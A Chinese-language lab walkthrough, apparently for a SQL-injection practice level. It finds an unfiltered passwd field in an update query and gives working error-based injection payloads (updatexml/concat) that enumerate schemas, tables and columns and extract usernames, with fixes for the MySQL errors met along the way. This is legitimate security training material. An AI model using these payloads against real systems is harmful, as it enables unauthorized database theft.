一、这一把好像直接看不出什么,就来分析源码吧
1.找到下面两行,发现uname在赋值时使用了一个check_input函数,先来找到这个函数是干什么的
2.找到check_input函数,发现是使用了一些函数对输入的值进行检查。所以现在uname被进行了过滤,但是发现passwd没有使用check-input进行检查,所以重点放在passwd上
3.然后找到两句数据库语句,发现update语句里有用到passwd,并且是单引号闭合,至此找到了注入点。但是由于先用uname进行了select查询,所以我们在注入的时候必须要给uname赋一个有效的值,选择用admin这个用户名
四、爆数据库
uname=admin&passwd=1' and updatexml(1,concat('^',(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
五、爆表
uname=admin&passwd=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#&submit=Submit
六、爆列
uname=admin&passwd=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submit
七、爆数据
1.这样写发现会报错:You can’t specify target table ‘users’ for update in FROM clause,意思是说在同一个语句中,不能先select出同一表的某些值,然后update同一表。就是我们先从users表中select了数据,然后又对users表进行update,好像是只有mysql会有这种错误。
uname=admin&passwd=1' and updatexml(1,(concat('^',(select username from users limit 0,1))),1)#&submit=Submit
2.上一步的解决办法是增加一个中间表,就是再加一层select。然后又报错:Every derived table must have its own alias,是说每个表都要有自己的别名,是没有给最里面的那层查询起别名
uname=admin&passwd=1' and updatexml(1,(concat('^',(select username from (select username from users limit 0,1)))),1)#&submit=Submit
3.加个别名叫aa,成功显示
uname=admin&passwd=1' and updatexml(1,(concat('^',(select username from (select username from users limit 0,1)as aa))),1)#&submit=Submit
over~